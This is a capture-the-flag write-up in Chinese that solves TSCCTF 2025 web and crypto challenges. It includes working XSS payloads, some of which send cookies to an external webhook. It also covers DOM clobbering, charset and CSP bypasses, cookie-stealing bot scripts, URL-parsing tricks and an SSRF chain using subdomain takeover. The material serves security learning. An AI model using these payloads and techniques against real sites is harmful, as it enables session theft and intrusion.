TSCCTF 2025 Writeups

最近在 CTFTime 看到一個 TSCCTF 是台灣打 CTF 的另一群學生辦的比賽,所以 Solo 解了些 Web & Crypto 和 Misc 中比較難的題目。

Web

book

XSS 題,核心是這段 js:

1
2
3
4
5
6
7
8
9
10
11
12
13
document.addEventListener("DOMContentLoaded", () => {
const urlParams = new URLSearchParams(window.location.search);
const title = atob(urlParams.get("title"));
const content = atob(urlParams.get("content"));
document.getElementById("title").innerHTML =
DOMPurify.sanitize(title);
if (typeof config !== "undefined" && config.DEBUG) {
document.getElementById("content").innerHTML = content;
} else {
document.getElementById("content").innerHTML =
DOMPurify.sanitize(content);
}
});

顯然是要用 dom clobbering 去 clobber winddow.config.DEBUG,然後就能直接用 content xss:

title: <a id="config"></a><a id="config" name="DEBUG">CLOBBERED</a>

content: <img src=x: onerror="(new Image).src='//webhook?'+document.cookie">

Flag: TSC{CLOBBERING_TIME!!!!!_ui2qjwu3wesixz}

Beautiful World

也是 XSS 題,關鍵是這段 python:

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route("/note", methods=["GET"])
def view_note():
"""View a note"""
content = base64.urlsafe_b64decode(request.args.get("content", "")).decode()

# Check if the content is harmful content or not with BeautifulSoup.
soup = BeautifulSoup(content, "html.parser")
if sum(ele.name != 's' for ele in soup.find_all()):
return "no eval tag."
if sum(ele.attrs != {} for ele in soup.find_all()):
return "no eval attrs."

return render_template("note.html", note=content)

note.html 會直接把 note 在不 escape 的情況下塞到 response 中,所以目標就只是繞這個用 bs4 + html.parser 檢查的 html sanitizer。測試一下會發現 html.parser 在處裡 unclosed tag 的時候是會直接把它忽略掉的,所以用下面這個 payload 就能過:

1
<img src=x: onerror="(new Image).src='//webhook?'+document.cookie" x="

Flag: TSC{Dont_use_Beautifulsoup_to_sanitise_HTML_u2gqwiewgyqwas}

Fakebook Pro

還是 XSS 題,關鍵在 posts.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<h2>Posts by <?php echo htmlspecialchars($username ?? 'Unknown'); ?></h2>

<?php
if (isset($error)) {
echo "<p style='color: red;'>$error</p>";
} else {
// Display posts
$i = 0;
if ($postsResult->numColumns() > 0) {
while ($post = $postsResult->fetchArray()) {
$i++;
echo "<div class='box'><strong>Posted on: " . $post['created_at'] . "</strong><div id='post$i' class='post'></div></div>";
echo "
<script>
post = \"".remove_quotes($post['content'])."\";
document.getElementById('post$i').innerHTML = DOMPurify.sanitize(post);
</script>
";
}
} else {
echo "<p>This user has not made any posts yet.</p>";
}
}
?>

$username$post['content'] 都可控。其中 remove_quotes 來自開頭引入的 init.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
// Disable PHP error reporting and set some security headers
ini_set('expose_php', '0'); // Don't expose PHP in the HTTP header
ini_set('session.cookie_httponly', 1); // Set the session cookie to be accessible only through the HTTP protocol
ini_set('default_charset', ''); // Don't set a default charset
ini_set('max_execution_time', '5'); // Set the maximum execution time to 5 seconds
ini_set('max_input_time', '5'); // Set the maximum input time to 5 seconds
ini_set('max_input_vars', '1000'); // Set the maximum input variables to 1000

// Mimic Node Express server
header('Content-Type: text/html'); // Set the content type to HTML
header('X-Powered-By: Express'); // Set the X-Powered-By header to Express
header('ETag: W/"86f-oSPkbf9oIjxXhokikR8tx7FSWXs"'); // Set the ETag header
header('Connection: keep-alive'); // Set the Connection header to keep-alive
header('Keep-Alive: timeout=5'); // Set the Keep-Alive header

// database setup, omitted...

function remove_quotes($str) {
// remove \
$str = str_replace("\\", "", $str);
// replace ' with \'
$str = str_replace("\"", "\\\"", $str);
// remove <
$str = str_replace("<", "", $str);
// remove >
$str = str_replace(">", "", $str);
// remove \n
$str = str_replace("\n", "", $str);
// remove \r
$str = str_replace("\r", "", $str);
return $str;
}

我自己是沒看出 remove_quotes 可以怎麼繞,不過看到 init.php 設定 Content-Type: text/html 讓我想到 Encoding Differentials: Why Charset Matters,裡面說 Chromium & Firefox 都會在沒 charset 時做 encoding,而其中的 ISO-2022-JP 就可以拿來利用。而這題的情況就和文章中 technique 1 一樣,在 $username\x1b(J 讓他 switch 到 JIS X 0201 1976 的 encoding,此時 \ 字元會被當成 ¥ yen symbol,所以 remove_quotes 幫我加的 \ 就會失效。

具體方法就是註冊 username 為 \x1b(J 的 user,然後再 post content 塞 ";alert(origin)// 就能 XSS 了。之後 report 給 bot /posts.php?username=%1b(J) 這個 path 即可。

不過這題最麻煩的點在於題目給的 bot 透過 docker network 限制不能對外連線,所以在 document.cookie 後不能直接對外傳,只能想辦法把它存在這個 XSS 的網站上。我的想法是讓 bot 登入 flag:flag 使用者然後把 flag 放到 posts 中,不過要做到這件事也是有些麻煩,因為登入的 index.php 會直接 redirect 已登入的使用者到 dashboard.php:

1
2
3
4
if (isset($_SESSION['username'])) {
header('Location: dashboard.php');
die();
}

bot.js 中有這段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const visit = async url => {
let browser
try {
url = new URL(url)
browser = await puppeteer.launch({
headless: true,
args: ["--disable-gpu", "--no-sandbox"],
executablePath: "/usr/bin/chromium-browser",
});
const context = await browser.createIncognitoBrowserContext()
const page = await context.newPage()

// set cookie
await page.setCookie({
name: "flag",
value: btoa(eval(`${'F'+'L'+'A'+'G'}`)),
domain: url.hostname,
})

await page.setCookie({
name: "admin",
value: "true",
domain: url.hostname,
})

await page.goto(SITE)
await sleep(2)
await page.type("#username", ADMIN_USERNAME + crypto.randomBytes(8).toString('hex'))
await page.type("#password", ADMIN_PASSWORD)
await page.click("#login");
await sleep(2);
await page.goto(url, { timeout: 10000 });
await sleep(10);

await browser.close()
} catch (e) {
console.log(e)
} finally {
if (browser) await browser.close()
}
}

可知 bot 除了有 flag cookie 還有個 admin=true,且還會是登入的狀況,所以沒辦法直接登入。而 logout.php 長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include("init.php");

// if not logged in, redirect to login page
if (!isset($_SESSION['username'])) {
header('Location: index.php');
die();
}

// if not an admin, deny access
if (isset($_COOKIE['admin'])) {
die("You are not authorized to access this page.");
}

// destroy the session
session_destroy();

// redirect to login page
header('Location: index.php');

所以透過 XSS 需要做這幾件事才能拿到 flag:

  1. admin cookie 刪掉
  2. visit logout.php 把已登入的 admin user 登出
  3. post index.php 登入 flag user (credential: flag:flag)
  4. post dashboard.phpdocument.cookie 當作 content 存入
  5. 自己登入 flag user 得到 flag

實際把 js 寫出來會變成這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sleep = function (ms) {
return new Promise(function (res) {
setTimeout(res, ms)
})
}
;(async function () {
try {
if (document.cookie.includes('admin')) {
document.cookie = 'admin=; Max-Age=0'
w = open('/logout.php')
await sleep(1000)
w.username.value = 'flag'
w.password.value = 'flag'
w.username.form.submit()
await sleep(1000)
await fetch('/dashboard.php', {
method: 'POST',
credentials: 'include',
body: new URLSearchParams({ content: document.cookie }),
})
}
} catch (err) {
console.log(err.message, err.stack)
}
})()

然後寫 js 時還要特別注意繞過 remove_quotes 中禁止的字元,所以不能用 arrow function,然後也要把 \n 換成 ;

Flag: TSC{Nyan~~; Nyan Nyan~~; Kon kon kon!!!_0c17deebb01a4a48b64a41cf8e891284}

Fakebook Ultra

這題延續上一題,變動的部分不多。首先是 posts.php 的 XSS 簡化為:

1
echo "<div class='box'><strong>Posted on: " . $post['created_at'] . "</strong><div id='post$i' class='post'>".$post['content']."</div></div>";

所以不用特別用 encoding 去繞,但是 init.php 有多 CSP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
// Disable PHP error reporting and set some security headers
ini_set('expose_php', '0'); // Don't expose PHP in the HTTP header
ini_set('session.cookie_httponly', 1); // Set the session cookie to be accessible only through the HTTP protocol
ini_set('default_charset', ''); // Don't set a default charset
ini_set('max_execution_time', '5'); // Set the maximum execution time to 5 seconds
ini_set('max_input_time', '5'); // Set the maximum input time to 5 seconds
ini_set('max_input_vars', '1000'); // Set the maximum input variables to 1000

// Mimic Node Express server
header('Content-Type: text/html'); // Set the content type to HTML
header('X-Powered-By: Express'); // Set the X-Powered-By header to Express
header('ETag: W/"86f-oSPkbf9oIjxXhokikR8tx7FSWXs"'); // Set the ETag header
header('Connection: keep-alive'); // Set the Connection header to keep-alive
header('Keep-Alive: timeout=5'); // Set the Keep-Alive header

// Set CSP to allow only css
header("Content-Security-Policy: default-src 'none'; style-src 'self' 'unsafe-inline';");

logout.php 被刪除了,所以沒辦法登出 (騙人的吧)。而 bot 的部分完全沒改動,也無法對外連線。

首先是繞 CSP 的部分我是想到用 justCTF 2020 - Baby CSP 的方法,透過讓 php 在呼叫 header() 前產生 warning,然後只要塞爆 output buffering 的 buffer size 的話就能讓 response 先被送出去,那後面的 header() call 就會失效。

以這題情況看起來最可利用的是 ini_set('max_input_vars', '1000');,只要讓他超過 1000 個參數就會噴 warning。具體來說用 xss user 登入,然後新增 post content <script>alert(origin)</script>,之後 visit /posts.php?username=xss&param1=1&param2=2&...&param1000=1000 就會看到 alert 了。

不過 server 回傳的 html 長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<br />
<b>Warning</b>: PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Warning</b>: ini_set(): Session ini settings cannot be changed after headers have already been sent in <b>/var/www/html/init.php</b> on line <b>4</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>11</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>12</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>13</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>14</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>15</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>18</b><br />
<br />
<b>Warning</b>: session_start(): Session cannot be started after headers have already been sent in <b>/var/www/html/init.php</b> on line <b>38</b><br />

<!DOCTYPE html>
<html lang="en">
<head>
<title>Posts</title>
<link rel="stylesheet" href="styles.css">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>

<main class="container">
<h2>Posts by xss</h2>

<div class='box'><strong>Posted on: 2025-01-15 14:07:22</strong><div id='post1' class='post'><script>alert(origin)</script></div></div>
<a href="index.php"><button class="big_button">Back to Home</button></a>
</main>
</body>
</html>

可看到 warning 的部分顯然不像原本那篇 writeup 所說超過 4096 bytes,但它還是成功的把後面的 header() call 給忽略了,所以這邊實際上停用掉 CSP 的可能不是 output buffering 的機制。

之後從 XSS 到拿到 flag 還是得用前面的方法: 登出 admin -> 登入 flag user -> post document.cookie 到 posts 中 -> 自己登入拿到 flag。

但這題沒有 logout.php,所以我們就被困在 SAO 的世界中無法登出 admin user,也就不能登入 flag user。

我這邊找到的繞法是利用 report.php 的小 bug:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function build_url(array $parts) {
return (isset($parts['scheme']) ? "{$parts['scheme']}:" : '') .
((isset($parts['user']) || isset($parts['host'])) ? '//' : '') .
(isset($parts['user']) ? "{$parts['user']}" : '') .
(isset($parts['pass']) ? ":{$parts['pass']}" : '') .
(isset($parts['user']) ? '@' : '') .
(isset($parts['host']) ? "{$parts['host']}" : '') .
(isset($parts['port']) ? ":{$parts['port']}" : '') .
(isset($parts['path']) ? "{$parts['path']}" : '') .
(isset($parts['query']) ? "?{$parts['query']}" : '') .
(isset($parts['fragment']) ? "#{$parts['fragment']}" : '');
}
$URL = parse_url($_POST['url']);
$URL['scheme'] = 'http';
$URL['host'] = 'cms';
$URL['port'] = 80;

$URL = build_url($URL);
$res = sendUrlToBot($URL);

echo $res['data'];

可以觀察到如果 url@host/path,那 parse_url 會把它變成 ["path"]=> string(10) "@host/path",而 build_url 會 return http://cms:80@host/path。因此它強制加上的 cms:80 變成了 user & pass,所以 bot 實際 visit 的 url 的 host 是可控的。

那 host 可控可以做到什麼呢? 可觀察到 bot setCookie 時是把 cookie 設在 visited url 的 hostname 下,所以如果 bot 可存取外網的話就可以直接讓它 visit 我們的 webhook,然後 flag 就會直接出現在 request header 中,所以會變成一個很大的 unintended solution。

不過這邊 bot 不能對外連線,所以只能走正常的方法。我這邊的做法是讓 submit url @cms./posts.php?...,那 bot 就會 visit http://cms:80@cms./posts.php?...。此處的 cms. 有個 trailing dot 所以是 FQDN,對瀏覽器來說和 cms 是不同的 hostname 所以也是不同的 origin。且 bot 登入時是在 http://cms 上登入的,所以 http://cms. 上是還沒有登入的狀態,所以拿 flag 的流程可以被簡化成:

  1. post index.php 登入 flag user (credential: flag:flag)
  2. post dashboard.phpdocument.cookie 當作 content 存入
  3. 自己登入 flag user 得到 flag

所以首先先用 xss user 登入進去,新增以下 note content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<script>
sleep = function (ms) {
return new Promise(function (res) {
setTimeout(res, ms)
})
}
;(async function () {
try {
if (document.cookie.includes('admin')) {
document.cookie = 'admin=; Max-Age=0'
w = open('/')
await sleep(1000)
w.username.value = 'flag'
w.password.value = 'flag'
w.username.form.submit()
await sleep(1000)
await fetch(new URL('/dashboard.php', location.href), {
method: 'POST',
credentials: 'include',
body: new URLSearchParams({ content: document.cookie }),
})
console.log('done')
}
} catch (err) {
console.log(err.message, err.stack)
}
})()
</script>

接下來用 submit 特定的 url 給 report.php:

1
curl 'http://TARGET_HOST:36369/report.php' --data-urlencode 'url=@cms./posts.php?xss=xss&0=1&1=1&2=1&3=1&4=1&5=1&6=1&7=1&8=1&9=1&10=1&11=1&12=1&13=1&14=1&15=1&16=1&17=1&18=1&19=1&20=1&21=1&22=1&23=1&24=1&25=1&26=1&27=1&28=1&29=1&30=1&31=1&32=1&33=1&34=1&35=1&36=1&37=1&38=1&39=1&40=1&41=1&42=1&43=1&44=1&45=1&46=1&47=1&48=1&49=1&50=1&51=1&52=1&53=1&54=1&55=1&56=1&57=1&58=1&59=1&60=1&61=1&62=1&63=1&64=1&65=1&66=1&67=1&68=1&69=1&70=1&71=1&72=1&73=1&74=1&75=1&76=1&77=1&78=1&79=1&80=1&81=1&82=1&83=1&84=1&85=1&86=1&87=1&88=1&89=1&90=1&91=1&92=1&93=1&94=1&95=1&96=1&97=1&98=1&99=1&100=1&101=1&102=1&103=1&104=1&105=1&106=1&107=1&108=1&109=1&110=1&111=1&112=1&113=1&114=1&115=1&116=1&117=1&118=1&119=1&120=1&121=1&122=1&123=1&124=1&125=1&126=1&127=1&128=1&129=1&130=1&131=1&132=1&133=1&134=1&135=1&136=1&137=1&138=1&139=1&140=1&141=1&142=1&143=1&144=1&145=1&146=1&147=1&148=1&149=1&150=1&151=1&152=1&153=1&154=1&155=1&156=1&157=1&158=1&159=1&160=1&161=1&162=1&163=1&164=1&165=1&166=1&167=1&168=1&169=1&170=1&171=1&172=1&173=1&174=1&175=1&176=1&177=1&178=1&179=1&180=1&181=1&182=1&183=1&184=1&185=1&186=1&187=1&188=1&189=1&190=1&191=1&192=1&193=1&194=1&195=1&196=1&197=1&198=1&199=1&200=1&201=1&202=1&203=1&204=1&205=1&206=1&207=1&208=1&209=1&210=1&211=1&212=1&213=1&214=1&215=1&216=1&217=1&218=1&219=1&220=1&221=1&222=1&223=1&224=1&225=1&226=1&227=1&228=1&229=1&230=1&231=1&232=1&233=1&234=1&235=1&236=1&237=1&238=1&239=1&240=1&241=1&242=1&243=1&244=1&245=1&246=1&247=1&248=1&249=1&250=1&251=1&252=1&253=1&254=1&255=1&256=1&257=1&258=1&259=1&260=1&261=1&262=1&263=1&264=1&265=1&266=1&267=1&268=1&269=1&270=1&271=1&272=1&273=1&274=1&275=1&276=1&277=1&278=1&279=1&280=1&281=1&282=1&283=1&284=1&285=1&286=1&287=1&288=1&289=1&290=1&291=1&292=1&293=1&294=1&295=1&296=1&297=1&298=1&299=1&300=1&301=1&302=1&303=1&304=1&305=1&306=1&307=1&308=1&309=1&310=1&311=1&312=1&313=1&314=1&315=1&316=1&317=1&318=1&319=1&320=1&321=1&322=1&323=1&324=1&325=1&326=1&327=1&328=1&329=1&330=1&331=1&332=1&333=1&334=1&335=1&336=1&337=1&338=1&339=1&340=1&341=1&342=1&343=1&344=1&345=1&346=1&347=1&348=1&349=1&350=1&351=1&352=1&353=1&354=1&355=1&356=1&357=1&358=1&359=1&360=1&361=1&362=1&363=1&364=1&365=1&366=1&367=1&368=1&369=1&370=1&371=1&372=1&373=1&374=1&375=1&376=1&377=1&378=1&379=1&380=1&381=1&382=1&383=1&384=1&385=1&386=1&387=1&388=1&389=1&390=1&391=1&392=1&393=1&394=1&395=1&396=1&397=1&398=1&399=1&400=1&401=1&402=1&403=1&404=1&405=1&406=1&407=1&408=1&409=1&410=1&411=1&412=1&413=1&414=1&415=1&416=1&417=1&418=1&419=1&420=1&421=1&422=1&423=1&424=1&425=1&426=1&427=1&428=1&429=1&430=1&431=1&432=1&433=1&434=1&435=1&436=1&437=1&438=1&439=1&440=1&441=1&442=1&443=1&444=1&445=1&446=1&447=1&448=1&449=1&450=1&451=1&452=1&453=1&454=1&455=1&456=1&457=1&458=1&459=1&460=1&461=1&462=1&463=1&464=1&465=1&466=1&467=1&468=1&469=1&470=1&471=1&472=1&473=1&474=1&475=1&476=1&477=1&478=1&479=1&480=1&481=1&482=1&483=1&484=1&485=1&486=1&487=1&488=1&489=1&490=1&491=1&492=1&493=1&494=1&495=1&496=1&497=1&498=1&499=1&500=1&501=1&502=1&503=1&504=1&505=1&506=1&507=1&508=1&509=1&510=1&511=1&512=1&513=1&514=1&515=1&516=1&517=1&518=1&519=1&520=1&521=1&522=1&523=1&524=1&525=1&526=1&527=1&528=1&529=1&530=1&531=1&532=1&533=1&534=1&535=1&536=1&537=1&538=1&539=1&540=1&541=1&542=1&543=1&544=1&545=1&546=1&547=1&548=1&549=1&550=1&551=1&552=1&553=1&554=1&555=1&556=1&557=1&558=1&559=1&560=1&561=1&562=1&563=1&564=1&565=1&566=1&567=1&568=1&569=1&570=1&571=1&572=1&573=1&574=1&575=1&576=1&577=1&578=1&579=1&580=1&581=1&582=1&583=1&584=1&585=1&586=1&587=1&588=1&589=1&590=1&591=1&592=1&593=1&594=1&595=1&596=1&597=1&598=1&599=1&600=1&601=1&602=1&603=1&604=1&605=1&606=1&607=1&608=1&609=1&610=1&611=1&612=1&613=1&614=1&615=1&616=1&617=1&618=1&619=1&620=1&621=1&622=1&623=1&624=1&625=1&626=1&627=1&628=1&629=1&630=1&631=1&632=1&633=1&634=1&635=1&636=1&637=1&638=1&639=1&640=1&641=1&642=1&643=1&644=1&645=1&646=1&647=1&648=1&649=1&650=1&651=1&652=1&653=1&654=1&655=1&656=1&657=1&658=1&659=1&660=1&661=1&662=1&663=1&664=1&665=1&666=1&667=1&668=1&669=1&670=1&671=1&672=1&673=1&674=1&675=1&676=1&677=1&678=1&679=1&680=1&681=1&682=1&683=1&684=1&685=1&686=1&687=1&688=1&689=1&690=1&691=1&692=1&693=1&694=1&695=1&696=1&697=1&698=1&699=1&700=1&701=1&702=1&703=1&704=1&705=1&706=1&707=1&708=1&709=1&710=1&711=1&712=1&713=1&714=1&715=1&716=1&717=1&718=1&719=1&720=1&721=1&722=1&723=1&724=1&725=1&726=1&727=1&728=1&729=1&730=1&731=1&732=1&733=1&734=1&735=1&736=1&737=1&738=1&739=1&740=1&741=1&742=1&743=1&744=1&745=1&746=1&747=1&748=1&749=1&750=1&751=1&752=1&753=1&754=1&755=1&756=1&757=1&758=1&759=1&760=1&761=1&762=1&763=1&764=1&765=1&766=1&767=1&768=1&769=1&770=1&771=1&772=1&773=1&774=1&775=1&776=1&777=1&778=1&779=1&780=1&781=1&782=1&783=1&784=1&785=1&786=1&787=1&788=1&789=1&790=1&791=1&792=1&793=1&794=1&795=1&796=1&797=1&798=1&799=1&800=1&801=1&802=1&803=1&804=1&805=1&806=1&807=1&808=1&809=1&810=1&811=1&812=1&813=1&814=1&815=1&816=1&817=1&818=1&819=1&820=1&821=1&822=1&823=1&824=1&825=1&826=1&827=1&828=1&829=1&830=1&831=1&832=1&833=1&834=1&835=1&836=1&837=1&838=1&839=1&840=1&841=1&842=1&843=1&844=1&845=1&846=1&847=1&848=1&849=1&850=1&851=1&852=1&853=1&854=1&855=1&856=1&857=1&858=1&859=1&860=1&861=1&862=1&863=1&864=1&865=1&866=1&867=1&868=1&869=1&870=1&871=1&872=1&873=1&874=1&875=1&876=1&877=1&878=1&879=1&880=1&881=1&882=1&883=1&884=1&885=1&886=1&887=1&888=1&889=1&890=1&891=1&892=1&893=1&894=1&895=1&896=1&897=1&898=1&899=1&900=1&901=1&902=1&903=1&904=1&905=1&906=1&907=1&908=1&909=1&910=1&911=1&912=1&913=1&914=1&915=1&916=1&917=1&918=1&919=1&920=1&921=1&922=1&923=1&924=1&925=1&926=1&927=1&928=1&929=1&930=1&931=1&932=1&933=1&934=1&935=1&936=1&937=1&938=1&939=1&940=1&941=1&942=1&943=1&944=1&945=1&946=1&947=1&948=1&949=1&950=1&951=1&952=1&953=1&954=1&955=1&956=1&957=1&958=1&959=1&960=1&961=1&962=1&963=1&964=1&965=1&966=1&967=1&968=1&969=1&970=1&971=1&972=1&973=1&974=1&975=1&976=1&977=1&978=1&979=1&980=1&981=1&982=1&983=1&984=1&985=1&986=1&987=1&988=1&989=1&990=1&991=1&992=1&993=1&994=1&995=1&996=1&997=1&998=1&999=1'

Flag: TSC{Nyan~~; Nyan? Nyan!_e41783351a7440bc8fe8b75d6548a9cc}

Proxy Revenge

這題是改自 CGGC 2024 - Proxy 的題目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
// start session
session_start();

// Code stolen from https://chummy.tw/
function check_domain($url) {
$DOMAIN_SUFFIX = "\.tscctf-2025\.ctftime\.uk";
$pattern = "/^https?:\/\/.?.?[a-zA-Z0-9-]+".$DOMAIN_SUFFIX."\/.*$/";
if (preg_match($pattern, $url)) {
return true;
}
die("Good Hacker");

}

function proxy($service) {
// $service = "switchrange";
// $service = "previewsite";
// $service = "越獄";
$requestUri = $_SERVER['REQUEST_URI'];
$parsedUrl = parse_url($requestUri);
$options = array(
CURLOPT_RETURNTRANSFER => true, // return web page
CURLOPT_HEADER => false, // don't return headers
CURLOPT_FOLLOWLOCATION => false, // follow redirects
CURLOPT_MAXREDIRS => 2, // stop after 10 redirects
CURLOPT_ENCODING => "", // handle compressed
CURLOPT_USERAGENT => "FLAG{not_flag}", // name of client
CURLOPT_AUTOREFERER => true, // set referrer on redirect
CURLOPT_CONNECTTIMEOUT => 10, // time-out on connect
CURLOPT_TIMEOUT => 10, // time-out on response
);

// the len must be less than 50
if (strlen($service) > 50) {
die("Service name is too long.");
}

$port = 80;

setcookie("service", $service);
setcookie("port", $port);
$ch = curl_init();
curl_setopt_array($ch, $options);
// No more redirect QQ.
// curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@';
$fixeddomain = trim(trim($service, $filter).".cggc.chummy.tw:".$port, $filter);
$fixeddomain = idn_to_ascii($fixeddomain);
$fixeddomain = preg_replace('/[^0-9a-zA-Z-.:_]/', '', $fixeddomain);

$url = 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING'];
check_domain($url);
curl_setopt($ch, CURLOPT_URL, $url);
$response = curl_exec($ch);
curl_close($ch);
// if session admin is not true, redirect to rickroll
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
header("Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ");
}
// if "please_give_me_flag_QQ" in response, then echo flag
if (strpos($response, "please_give_me_flag_QQ") !== false) {
echo getenv('FLAG');
}
curl_close($ch);
}
if (isset($_GET['service']))
proxy($_GET['service']);
else
// print source code
highlight_file(__FILE__);

首先我在這篇 writeup 看到說 idn_to_ascii 在長度過長時會回傳 empty string 有機會利用,但是這題限制 $service 長度不超過 50,所以這個方法不適用。

所以我跑去翻了一下 idn_to_asciisource code 發現它是把 utf-8 字串轉成 ascii (punycode),所以就直接塞個 \xff$service 中讓它變 invalid utf-8 string,此時 idn_to_ascii 也會回傳 empty string,也會讓 fixeddomain 變成 empty string。

$url 是這樣構造的:

1
$url = 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING'];

因此要控制 ssrf host 的話就要透過 $parsedUrl['path'] 來控制,而它又來自 $parsedUrl = parse_url($_SERVER['REQUEST_URI']);。在 Apache + PHP 中 $_SERVER['REQUEST_URI'] 就是 http request 的完整 path,但是這邊如果隨便給的話會在 Apache 那層就 404,也不會執行到這個 index.php

我這邊利用的是 Apache 可以用 /index.php/peko/miko 這樣的情況下也能執行 index.php 的機制,然後只要在那前面多塞一個 / 變成 //index.php/host/path (schemeless url) 之後整個 $url 就變成 http:///host/path?service=%ff 了。

現在 $url 大部分都可控,最後要在通過 check_domain 函數的情況下也繞過 ssrf response check 才能拿到 flag。

check_domain 的 regex 為 ^https?://.?.?[a-zA-Z0-9-]+\.tscctf-2025\.ctftime\.uk/.*$,基本上除了在 https?:// 後面多兩個任意字元,剩下就限制 host 為 tscctf-2025.ctftime.uk 的 subdomain。

隨便找個 subdomain dig 看看會發現:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
> dig peko.tscctf-2025.ctftime.uk

; <<>> DiG 9.20.4 <<>> peko.tscctf-2025.ctftime.uk
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11595
;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;peko.tscctf-2025.ctftime.uk. IN A

;; ANSWER SECTION:
peko.tscctf-2025.ctftime.uk. 300 IN CNAME ching367436.github.io.
ching367436.github.io. 3595 IN A 185.199.108.153
ching367436.github.io. 3595 IN A 185.199.109.153
ching367436.github.io. 3595 IN A 185.199.111.153
ching367436.github.io. 3595 IN A 185.199.110.153

;; Query time: 29 msec
;; SERVER: 127.0.0.53#53(127.0.0.53) (UDP)
;; WHEN: Wed Jan 15 23:35:17 CST 2025
;; MSG SIZE rcvd: 155

代表它應該是 wildcard 的 subdomain 直接指到 github pages,直接透過瀏覽器瀏覽也是看到 github pages 的 404,所以可以直接用 subdomain takeover 的方式來控制 response。

具體 takeover 方式不詳述,可以自己查。我自己是拿了 http://maple3142.tscctf-2025.ctftime.uk/,所以最後這樣即可拿到 flag:

1
2
> curl 'http://172.31.2.2:36360//index.php/maple3142.tscctf-2025.ctftime.uk/?service=%ff'
TSC{C0de_St0l3n_1s_C0de_Earn3d}

Crypto

2DES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
from random import choice
from os import urandom
from time import sleep

def encrypt(msg: bytes, key1, key2):
des1 = DES.new(key1, DES.MODE_ECB)
des2 = DES.new(key2, DES.MODE_ECB)
return des2.encrypt(des1.encrypt(pad(msg, des1.block_size)))

def main():
flag = open('/flag.txt', 'r').read().strip().encode()

print("This is a 2DES encryption service.")
print("But you can only control one of the key.")
print()

while True:
print("1. Encrypt flag")
print("2. Decrypt flag")
print("3. Exit")
option = int(input("> "))

if option == 1:
# I choose a key
# You can choose another one
keyset = ["1FE01FE00EF10EF1", "01E001E001F101F1", "1FFE1FFE0EFE0EFE"]
key1 = bytes.fromhex(choice(keyset))
key2 = bytes.fromhex(input("Enter key2 (hex): ").strip())

ciphertext = encrypt(flag, key1, key2)
print("Here is your encrypted flag:", flush=True)
print("...", flush=True)
sleep(3)
if ciphertext[:4] == flag[:4]:
print(ciphertext)
print("Hmmm... What a coincidence!")
else:
print("System error!")
print()

elif option == 2:
print("Decryption are disabled")
print()

elif option == 3:
print("Bye!")
exit()

else:
print("Invalid option")
print()

if __name__ == "__main__":
main()

這題很簡單,在 wiki 上可看到 1FE01FE00EF10EF1 是 DES 的 semi-weak key,代表它存在另一對 key 符合 ,即 E01FE01FF10EF10E

因此這樣就有 的機率可以拿到 flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> printf '1\nE01FE01FF10EF10E\n3\n' | nc 172.31.2.2 9487
This is a 2DES encryption service.
But you can only control one of the key.

1. Encrypt flag
2. Decrypt flag
3. Exit
> Enter key2 (hex): Here is your encrypted flag:
...
b'TSC{th3_Key_t0_br34k_DES_15_tHe_keY}\x04\x04\x04\x04'
Hmmm... What a coincidence!

1. Encrypt flag
2. Decrypt flag
3. Exit
> Bye!

我從來都不覺得算密碼學開心過

1
2
3
4
5
6
7
